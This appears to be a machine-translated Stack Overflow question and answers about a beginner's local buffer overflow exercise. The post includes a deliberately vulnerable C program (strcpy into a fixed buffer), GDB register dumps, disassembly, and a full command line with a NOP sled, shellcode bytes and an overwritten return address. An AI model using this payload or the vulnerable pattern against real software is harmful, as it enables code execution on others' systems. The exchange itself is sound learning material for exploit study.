2015-11-08 29 views
5

我正在通過一些緩衝區溢出漏洞利用示例工作,並編寫了一個基本的易受攻擊的C應用程序來測試:(目標和攻擊者是相同的Kali 2計算機並運行「echo」0「>/proc/SYS /內核/ randomize_va_space「)現在緩衝區溢出漏洞利用示例

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) 
{ 
     char buffer[256]; 
     if (argc != 2) 
     { 
       exit(0); 
     } 

     strcpy(buffer, argv[1]); 
     printf("%s\n", buffer); 
} 

,在GDB一些測試我可以通過把260個字節的緩衝引起賽格故障:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52') 

與寄存器表示:

eax   0x105 261 
ecx   0xffffd300 -11520 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0xffffd300 0xffffd300 
ebp   0x0 0x0 
esi   0x0 0 
edi   0x0 0 
eip   0x42424242 0x42424242 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

我認爲可以成功地獲得EIP的控制下,給定上述0x424242(雖然EBP爲0x0?)

問題1.

隨着260個字節的緩衝,EIP被重寫爲以上。如果使用:

r $(python -c 'print "A" * 512') 

我發現了SEGSEGV在0x080484b4與寄存器

eax   0x201 513 
ecx   0x41414141 1094795585 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0x4141413d 0x4141413d 
ebp   0x41414141 0x41414141 
esi   0x0 0 
edi   0x0 0 
eip   0x80484b4 0x80484b4 <main+89> 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

我會想,如果EIP的260個增益控制,應該不是512字節的例子,以及?爲什麼512場景允許EIP在這種情況下指向ret,而不是在上面的260字節緩衝區示例中的0x424242?

問題2.

我已經創建了一個有效載荷是87個字節。我已注入的有效載荷到初始204個字節如下

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)') 

我disas主要是如下

0x0804845b <+0>: lea 0x4(%esp),%ecx 
    0x0804845f <+4>: and $0xfffffff0,%esp 
    0x08048462 <+7>: pushl -0x4(%ecx) 
    0x08048465 <+10>: push %ebp 
    0x08048466 <+11>: mov %esp,%ebp 
    0x08048468 <+13>: push %ecx 
    0x08048469 <+14>: sub $0x104,%esp 
    0x0804846f <+20>: mov %ecx,%eax 
    0x08048471 <+22>: cmpl $0x2,(%eax) 
    0x08048474 <+25>: je  0x8048480 <main+37> 
    0x08048476 <+27>: sub $0xc,%esp 
    0x08048479 <+30>: push $0x0 
    0x0804847b <+32>: call 0x8048340 <[email protected]> 
    0x08048480 <+37>: mov 0x4(%eax),%eax 
    0x08048483 <+40>: add $0x4,%eax 
    0x08048486 <+43>: mov (%eax),%eax 
    0x08048488 <+45>: sub $0x8,%esp 
    0x0804848b <+48>: push %eax 
    0x0804848c <+49>: lea -0x108(%ebp),%eax 
    0x08048492 <+55>: push %eax 
    0x08048493 <+56>: call 0x8048310 <[email protected]> 
    0x08048498 <+61>: add $0x10,%esp 
    0x0804849b <+64>: sub $0xc,%esp 
    0x0804849e <+67>: lea -0x108(%ebp),%eax 
    0x080484a4 <+73>: push %eax 
    0x080484a5 <+74>: call 0x8048320 <[email protected]> 
    0x080484aa <+79>: add $0x10,%esp 
    0x080484ad <+82>: mov -0x4(%ebp),%ecx 
    0x080484b0 <+85>: leave 
    0x080484b1 <+86>: lea -0x4(%ecx),%esp 
=> 0x080484b4 <+89>: ret 

戴上56斷裂(0x08048493)並檢查ESP X/2wx $ ESP我可以發現:

0xffffd220: 0xffffd230 0xffffd56b 

和X/S 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>... 
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times> 

所以,可以推斷(希望正確地)EIP應\ X6B \ XD5 \ XFF \ XFF調用利用,並且(使用NOP雪橇)如下面代所有件:

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)') 

不幸的是,該程序現在通常以「[下1(進程2863)正常退出]」正常終止「。我是否錯過了一些東西或者只是走了正確的道路...?另外我注意到在上面的陳述中沒有不休息的休息時間?

- 編輯

重述屏幕步行從小時路程:)

+0

現代操作系統不會讓你修改指令,所以如果你試圖覆蓋一個ret指令,它會分段錯誤。另外,你是什麼意思「填補EIP」? EIP是指令指針。 –

+0

@BobbySacamano:不一定如果代碼在堆棧上。該堆棧被讀取和寫入。並非所有的操作系​​統都阻止在堆棧上執行代碼(因爲有些操作系統把蹦牀代碼放在堆棧上)。緩衝區溢出代碼將在堆棧中結束,因此它取決於操作系統是否允許在堆棧上執行代碼。 –

+0

@MichaelPetch哦好點。有時我會忘記數據執行攻擊。我需要更多信息來回答這個問題。 –

回答

1

注意,原來的堆棧指針被保存在堆棧上之後更有意義,它是在ret之前剛剛恢復。因此,如果您覆蓋堆棧,您也可能會覆蓋將用於ret的堆棧指針。 main是特殊的這種方式,因爲它在序言中有棧對齊碼。

也就是說,預期的行爲實際上是第二種情況,第一種情況是特殊情況。你的字符串恰好是正確的長度,所以終止零將覆蓋保存的堆棧指針的低字節,這足以使它在內存中稍低一點,但仍然在你的字符串中。確切的位置將取決於堆棧佈局,它並不總是您的BBBB,實際上對我來說它在AAAA部分中的某處。請注意,即使在ASLR關閉的情況下,堆棧佈局也可能因環境而發生變化,所以即使您在gdb中使用漏洞,它也可能無法可靠地運行,或者根本不能從shell運行。

+0

感謝您的回答,我認爲這在我的腦海中是有意義的。在說,我的選擇是什麼使這個漏洞的工作? – TheITGuy

+0

如果你自己寫了這個練習,你可能想把所有東西都放到一個單獨的函數中,而不是利用'main' - 這會更簡單,因爲其他函數沒有堆棧對齊碼。而且,在現實生活中,你很少利用'main'本身。 – Jester

+0

謝謝 - 我已經將溢出邏輯移入一個函數,並從main調用它。我現在看到上面第1點的問題已經消失,而且這個漏洞似乎是「有點」的。我收到/ bin/dash:0:無法在gdb中打開。這可能是溢出問題,還是與利用本身更相關? – TheITGuy